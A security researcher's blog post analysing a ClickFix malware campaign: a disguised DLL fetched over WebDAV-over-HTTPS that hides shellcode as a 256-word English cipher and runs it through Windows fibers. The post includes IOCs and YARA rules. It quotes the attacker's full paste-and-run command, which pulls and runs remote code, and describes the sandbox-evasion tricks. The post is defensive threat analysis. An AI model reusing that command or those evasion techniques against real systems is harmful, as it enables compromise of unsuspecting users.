They built a dictionary to hide their shellcode: the pishbini90ai ClickFix loader
A ClickFix loader that hides shellcode as 256 English words in .rdata, delivers via WebDAV-over-HTTPS, and executes via Windows fibers. IOCs and YARA inside.
The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.
TL;DR
A ClickFix campaign serving a 2.4 MB PE32 DLL from
iyrxs.pishbini90ai[.]comvia WebDAV-over-HTTPS. The interesting part is the encoding scheme: the DLL hides 304 KB of shellcode as 256 English words baked into its .rdata section – a substitution cipher where every byte maps to a word, key material fully embedded at build time. After decoding, execution goes through Windows fibers instead of a new thread. The inner payload is encrypted and was not recovered statically. Infrastructure confirmed live as of 11 June 2026.If this is your fleet, do these first:
- Block
pishbini90ai[.]comand*.pishbini90ai[.]comat DNS and proxy immediately- Search proxy/DNS/NGFW logs for the GUID
bc1fc622-be49-4978-a48c-fa728a19b9dfacross your full retention window – any hit is a confirmed delivery event- Hunt EDR for
rundll32.execommand lines containing.cl,#or@SSL\– anyrundll32 google.clhit should be treated as a fully compromised hostFull IOCs and detection rules are at the bottom, with the complete detection pack in the detections repo.
When a file extension is a lie
I came across a ClickFix lure recently – one of those social-engineering prompts designed to trick you into running attacker-controlled code yourself. The lure asks the victim to paste a command into the Run dialog, pretending the browser needs a manual “fix” to display content. A technique that has been doing the rounds, and effective precisely because the user becomes the downloader.
The command itself is worth reading before we go further:
cmd /v:on /c "set c=pushd&set e=pishbini90ai[.]com&set b=rundll32&call !c! \\iyrxs.!e!@SSL\bc1fc622-be49-4978-a48c-fa728a19b9df & !b! google.cl,#1"
Three things stand out immediately. First, /v:on enables delayed variable expansion, so the actual domain and binary names don’t appear literally in the paste – static string inspection misses the domain entirely. Second, @SSL\ in that UNC path is how Windows maps an HTTPS WebDAV share as a drive letter using nothing but a built-in pushd trick. Third, google.cl: an extension that mimics an OpenCL source file, served by the server with Content-Type: text/x-opencl-src.
It is not an OpenCL file. It is a 2.4 MB PE32 DLL. And what is inside it is the interesting part. Let’s walk through it.
Defender quick reference
| Field | Details |
|---|---|
| Activity type | WebDAV DLL stager / shellcode loader |
| Primary artifacts | google.cl DLL (2.4 MB), iyrxs.pishbini90ai[.]com, GUID bc1fc622-be49-4978-a48c-fa728a19b9df |
| Verdict | Malicious |
| Confidence | High (full delivery chain decoded); Unknown (inner payload family – not recovered statically) |
| Key logs | EID 4688 (process creation), proxy/DNS logs, EDR API telemetry |
| ATT&CK | T1204.002, T1059.003, T1218.011, T1071.001, T1105, T1027, T1027.009, T1036.008, T1055, T1497.003 |
| First defender actions | Block domain; search for delivery GUID; isolate any host with rundll32 google.cl in cmdline |
| Detection opportunities | YARA (.rdata word-list fingerprint), Sigma (cmd /v + @SSL), EDR behavioural (fiber + VirtualProtect) |
| False-positive notes | None known for the full delivery chain signature; rundll32 + non-DLL extension has rare but possible FPs |
The attack at a glance
- Social engineering (ClickFix) – victim pastes a cmd.exe one-liner from a fake browser prompt
- Delayed expansion obfuscation – cmd /v:on hides the domain and binary names behind
!var!substitution; static analysis of the paste misses the domain - WebDAV-over-HTTPS staging –
pushd \\iyrxs.pishbini90ai[.]com@SSL\<GUID>maps the HTTPS share as a drive letter; server returns HTTP 207 on PROPFIND (confirmed live) - Rundll32 proxy execution –
rundll32 google.cl,#1loads the DLL from the mapped drive;.clextension masquerades as OpenCL source - Word-substitution cipher decode – the DLL decodes 304,375 bytes of shellcode from a 256-word English dictionary compiled into .rdata
- Anti-sandbox delays – Sleep(1s) before decode, Sleep(6s) after – 7 seconds total before shellcode runs
- Fiber-based shellcode execution –
CreateFiber+SwitchToFiberhands control to the decoded shellcode, bypassing some thread-creation hooks - Inner payload (unknown) – near-maximum entropy (7.995/8.0); encrypted; family not confirmed without dynamic analysis
How it works
Stage 1 – ClickFix delivery and WebDAV staging
The delivery is ClickFix: the victim pastes a cmd.exe one-liner, typically from a page that claims the browser needs to run a “verification” command to display content. Expanding the delayed variables by hand gives the actual execution:
pushd \\iyrxs.pishbini90ai[.]com@SSL\bc1fc622-be49-4978-a48c-fa728a19b9df
rundll32 google.cl,#1
The pushd \\host@SSL\path form is how Windows maps an HTTPS WebDAV share as a drive letter – no net use, no separate tool. The server returns HTTP 207 on a PROPFIND request, listing google.cl in the directory. Fetching it with the Windows WebDAV client user-agent (Microsoft-WebDAV-MiniRedir/10.0.19041) returns the DLL at HTTP 200.
The timing is tight: the DLL compile timestamp is 9 June 2026, the WebDAV directory was created 10 June, and the sample was discovered 11 June. This operator is actively building.
The GUID delivery path (bc1fc622-be49-4978-a48c-fa728a19b9df) is worth noting for two reasons. It evades URL pattern-matching rules that look for obvious paths, and it may be victim- or campaign-specific – which means it is an excellent pivot. Search your proxy and DNS logs for it.
The rundll32.exe invocation fits a broader category of living-off-the-land tradecraft – using a trusted, signed Windows binary to execute untrusted code. rundll32 loading a DLL from a network path is one of the canonical LOLBIN patterns, and it works because rundll32 itself is allowed everywhere by default.
Stage 2 – The word-substitution cipher
This is the part that made me stop and look twice. The DLL’s export (aeertfdd, ordinal 1) calls an init routine that passes the address of a null-separated English word list stored in .rdata – 256 words, one per possible byte value (0x00 through 0xFF). The .data section holds 304,375 four-byte pointer values, one per byte of the encoded shellcode. The decode loop reverse-maps each pointer to its position in the word table to reconstruct each original byte.
In rough Python, reversing it looks like this:
1
2
3
4
5
6
# t2: 256-entry word pointer table (.data at file offset 0x1c2f40)
# t1: 304,375 encoded byte pointers (.data at file offset 0x99ba0)
t2 = struct.unpack_from('<256I', raw, 0x1c2f40)
t1 = struct.unpack_from('<304375I', raw, 0x99ba0)
rev = {ptr: idx for idx, ptr in enumerate(t2)}
decoded = bytes([rev.get(ptr, 0x00) for ptr in t1])
The word list starts: enforcement, bother, secret, gas, heaven, wealthy, fellow, orange, guest, island...
Someone compiled a 256-word English dictionary into their DLL and used it as an encoding alphabet for 304 KB of shellcode. The entire key is embedded – nothing fetched at runtime. On disk, the DLL looks like a moderately sized PE with a lot of English strings in .rdata and a big apparently-inert blob in .data. Overall entropy is 5.1, which is well below the range that triggers “this is packed” heuristics. It is a neat trick. It also decoded cleanly once the table layout was identified.
Stage 3 – Fiber execution and the unknown inner payload
After the decode, the DLL writes the 304 KB shellcode into a pre-zeroed .text section (built as a landing zone at compile time), makes it executable with VirtualProtect, then calls CreateFiber + SwitchToFiber to hand over control. Fibers run in the same thread as the calling function – unlike a new thread, they don’t trigger the callbacks that some userland hooks use to intercept execution.
Two Sleep calls gate the shellcode: 1,000 ms before decode, 6,000 ms after – 7 seconds total. Basic sandbox evasion: many automated analysis environments time out or flag the sample as clean before the 7-second mark.
The decoded shellcode opens with an 11-byte NOP sled, followed by two sequential XOR/hash decoder stubs using the call-then-pop IP-relative trick to locate themselves in memory. The inner payload has entropy of 7.995/8.0 and no readable strings. It was not recovered statically. The technique profile – 304 KB, in-memory decoded, encrypted inner stage, fiber delivery – is consistent with a commercial implant, but that is a possibility, not a conclusion. Dynamic analysis or sandbox detonation is required to identify the family.
Techniques observed (MITRE ATT&CK)
The following techniques have been mapped to MITRE ATT&CK for future reference.
| Tactic | Technique | ATT&CK ID | What it did here |
|---|---|---|---|
| Initial Access | User Execution: Malicious Link | T1204.002 | ClickFix lure; victim pastes cmd one-liner |
| Execution | Windows Command Shell | T1059.003 | cmd /v:on with delayed expansion to hide domain and tool names |
| Execution | Rundll32 | T1218.011 | rundll32 google.cl,#1 – ordinal call, no path, runs from mapped WebDAV drive |
| C2 | Web Protocols | T1071.001 | WebDAV-over-HTTPS to iyrxs.pishbini90ai[.]com |
| C2 | Ingress Tool Transfer | T1105 | DLL fetched from WebDAV share via Windows mini-redirector |
| Defense Evasion | Obfuscated Files | T1027 | 256-word substitution cipher encodes 304 KB shellcode in .data |
| Defense Evasion | Embedded Payloads | T1027.009 | Shellcode decoded to .text landing zone at runtime |
| Defense Evasion | File Type Mismatch | T1036.008 | google.cl served as text/x-opencl-src; is a PE32 DLL |
| Defense Evasion | Process Injection (Fiber) | T1055 | CreateFiber + SwitchToFiber for shellcode execution |
| Defense Evasion | Time-Based Evasion | T1497.003 | Sleep(1000) + Sleep(6000) before shellcode runs |
Why this matters
This is a fully decoded stager with an unrecovered inner payload – which means the delivery chain is confirmed but the final objective is still open. Given the technique profile – fiber delivery, multi-pass encrypted inner stage, Cloudflare-fronted infrastructure, fresh compile timestamps, custom encoding scheme – this is not a commodity dropper built from a kit.
The relevant question for most defenders is simpler: if your users can paste a command from a browser page into the Run dialog and have it execute, this chain lands without touching a macro, a vulnerable application, or an exploit. It gets from “user pastes command” to “shellcode running in memory” in about 7 seconds.
The attacker gets a foothold the moment rundll32 calls that export. What happens next depends on the inner payload – and we don’t know what it does yet.
What defenders can do
| Technique (ATT&CK) | What to do | Essential Eight | What to hunt for |
|---|---|---|---|
| ClickFix / User Execution (T1204.002) | Restrict cmd.exe from being spawned by browser processes; user awareness training | Application Control (author’s extension of T1218 -> AppCtrl) | EID 4688: cmd.exe parented to browser or with /v and @SSL\ in cmdline |
| WebDAV staging (T1071.001, T1105) | Default-deny egress on outbound WebDAV HTTPS; DNS block on C2 domain | No direct E8 home – network architecture | Proxy: outbound PROPFIND on HTTPS/443; Windows WebDAV UA in proxy logs |
| Rundll32 proxy execution (T1218.011) | Application control rules restricting rundll32 to approved paths; deny non-DLL extensions | Application Control (L2+) | EID 4688: rundll32.exe with .cl or non-DLL extension in commandline |
| Word-cipher obfuscation (T1027) | Application Control blocks the DLL regardless of encoding scheme | Application Control (L1) | YARA on endpoint: .rdata word-list fingerprint + fiber import pair |
| Fiber shellcode execution (T1055) | Application Control prevents the DLL; at runtime, EDR API telemetry | Application Control (author’s judgement – prevents loader at execution step) | EDR: VirtualProtect + CreateFiber/SwitchToFiber within rundll32, ~7s after start |
| Time-based sandbox evasion (T1497.003) | No direct E8 home – catch it at the execution step | No direct E8 home | EDR behavioural: rundll32 sleeping ~7s then calling VirtualProtect |
Application control is the right prevention layer
The entire chain depends on rundll32 being allowed to load an arbitrary DLL from a network path. Application Control bites here because google.cl loaded from a WebDAV drive is not a signed, approved binary. A WDAC or AppLocker policy that restricts rundll32 to loading files from %SystemRoot% and approved paths stops this campaign cold.
The companion control is restricting cmd.exe from being launched by browser or Run contexts where there is no legitimate need to map network drives and call rundll32. This is Application Control applied to the parent-child execution chain, not just the payload. The relevant ASD/ACSC guidance is Implementing Application Control (November 2023) – maturity-level requirements there are explicit about what “approved” means and the hierarchy from hash rules through to publisher rules.
Controlling WebDAV egress
There is no clean Essential Eight strategy that covers WebDAV C2 directly. The network control is still straightforward: default-deny on outbound HTTPS to arbitrary hosts from workstations, and a proxy that makes WebDAV PROPFIND traffic visible. The Windows WebDAV mini-redirector user-agent (Microsoft-WebDAV-MiniRedir/10.0.19041) is distinctive enough that any outbound PROPFIND from a workstation is worth a second look. DNS blocking at *.pishbini90ai[.]com is an immediate free action.
The GUID-based delivery path is an anti-pattern-matching trick. URL filtering rules looking for known-bad strings won’t catch this by default – but domain reputation and the apex block will. For the broader technique, see Strategies to Mitigate Cyber Security Incidents – Mitigation Details for network segmentation and egress controls that don’t map cleanly to the Essential Eight.
Hunting what got through
If prevention failed, the GUID is your best prior-infection pivot. Search every available log source – proxy, DNS, NGFW – for bc1fc622-be49-4978-a48c-fa728a19b9df across your full retention window. Any hit is a confirmed delivery event. Any machine with rundll32 google.cl in its process creation logs should be treated as fully compromised and triaged for further C2 activity immediately.
Hunting and detection summary
- EID 4688:
cmd.exewith/vAND@SSL\ANDrundll32in the same commandline – ClickFix WebDAV delivery - EID 4688:
rundll32.exewith a non-DLL/OCX/CPL extension in the commandline (e.g..cl,#) - Proxy/DNS: any request to
pishbini90ai[.]comor*.pishbini90ai[.]com - Proxy/DNS/NGFW: GUID
bc1fc622-be49-4978-a48c-fa728a19b9dfin URL paths – prior infection pivot, run across full retention - Proxy: outbound PROPFIND on HTTPS port 443 to external hosts (WebDAV drive mapping)
- EDR behavioural: rundll32 sleeping ~7 seconds then calling VirtualProtect, followed by CreateFiber + SwitchToFiber
- YARA (endpoint):
.rdataword-list byte sequence + fiber import pair in a 2-4 MB PE (rules below)
Indicators of Compromise
A detection companion folder is available at github.com/BlueTeamCoolTeam/detections – campaigns/pishbini90ai-clickfix/ with YARA rules, Sigma rules, KQL queries, and a full IOC CSV.
Hashes
| Type | Indicator | Notes |
|---|---|---|
| SHA256 | f39bf61a139f0571e4a6624d68d284d67e38875f8ddc648d914323aeadb4b9e1 | google.cl – loader DLL (2,468,352 bytes) |
| MD5 | 0cc2d17469b0d4c8a13c748cb0bb5b28 | google.cl DLL |
| SHA256 | 024574897599a6eeba572d28a6d440d6fbae0e7e85c36d2f393c51d5c9946e3c | Decoded shellcode (payload_decoded.bin) |
| MD5 | baf10fef9b89fee262055ab4ae472c6f | Decoded shellcode |
Network
| Type | Indicator | Notes |
|---|---|---|
| Domain | pishbini90ai[.]com | C2 apex – block + all subdomains |
| Domain | iyrxs.pishbini90ai[.]com | WebDAV delivery host; confirmed live 11 June 2026 |
| URL | hxxps://iyrxs.pishbini90ai[.]com/bc1fc622-be49-4978-a48c-fa728a19b9df/google.cl | Payload delivery URL |
| IP | 104.21.26[.]101 | Cloudflare CDN – shared infrastructure, low confidence for blocking |
| IP | 172.67.135[.]218 | Cloudflare CDN – shared infrastructure, low confidence for blocking |
Host
| Type | Indicator | Notes |
|---|---|---|
| Filename | google.cl | Payload DLL served from WebDAV share; .cl extension masquerades as OpenCL source |
| GUID | bc1fc622-be49-4978-a48c-fa728a19b9df | WebDAV delivery path component – pivot in proxy/DNS/NGFW logs |
| DLL export | aeertfdd @ ordinal 1 | Rundll32 entry point; randomised name |
| PE timestamp | 2026-06-09T20:10:36Z | Compiled ~48 hours before discovery |
| Image base | 0x6CB00000 | Non-standard preferred base; memory-scan pivot |
Detection rules
rule ClickFix_pishbini90ai_WebDAV_Stager {
meta:
author = "Luke Wilkinson"
date = "2026-06-11"
description = "ClickFix cmd stager delivering WebDAV DLL via pishbini90ai[.]com"
reference = "https://blueteam.cool/posts/pishbini90ai-clickfix/"
sha256 = "f39bf61a139f0571e4a6624d68d284d67e38875f8ddc648d914323aeadb4b9e1"
strings:
// C2 domain (fanged in rule body so rule matches real content)
$domain = "pishbini90ai.com" ascii wide nocase
// @SSL\ WebDAV-over-HTTPS UNC path pattern
$webdav = "@SSL\\" ascii wide nocase
// Randomised DLL export name
$export = "aeertfdd" ascii
// Word-list cipher alphabet fragment from .rdata
$word1 = "enforcement" ascii
$word2 = "bother" ascii
$word3 = "wealthy" ascii
$word4 = "literary" ascii
// rundll32 ordinal invocation
$rundll = "google.cl,#1" ascii wide nocase
condition:
$domain or $webdav or $export or (3 of ($word*)) or $rundll
}
rule ClickFix_WordSubstitutionCipher_DLL {
meta:
author = "Luke Wilkinson"
date = "2026-06-11"
description = "PE DLL with 256-word substitution cipher payload encoding; fiber-based shellcode execution. pishbini90ai campaign."
reference = "https://blueteam.cool/posts/pishbini90ai-clickfix/"
sha256 = "f39bf61a139f0571e4a6624d68d284d67e38875f8ddc648d914323aeadb4b9e1"
strings:
// enforcement\x00bother\x00secret\x00 -- null-separated word list from .rdata
$wordlist = { 00 65 6e 66 6f 72 63 65 6d 65 6e 74 00 62 6f 74 68 65 72 00 73 65 63 72 65 74 00 }
$fiber1 = "CreateFiber" ascii
$fiber2 = "SwitchToFiber" ascii
$export = "aeertfdd" ascii
condition:
uint16(0) == 0x5A4D and
($wordlist or ($fiber1 and $fiber2)) and
filesize > 2MB and filesize < 4MB
}
Sigma rules and KQL queries are in the detections repo.
Closing
The word-substitution cipher is the most technically interesting part of this sample. It is not a strong encoding – reverse the lookup table and the shellcode falls out in a few lines of Python – but it does not need to be strong. It is there to defeat string-based detection and keep the binary’s entropy below the range that triggers packer heuristics, and for that purpose a 256-word English dictionary baked into .rdata is perfectly adequate. Someone put real thought into the encoding design, which makes the unrecovered inner payload the open question worth watching.
Block the domain. Hunt the GUID. Treat any rundll32 google.cl hit in your process creation logs as a confirmed compromise.
Stay curious.
On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.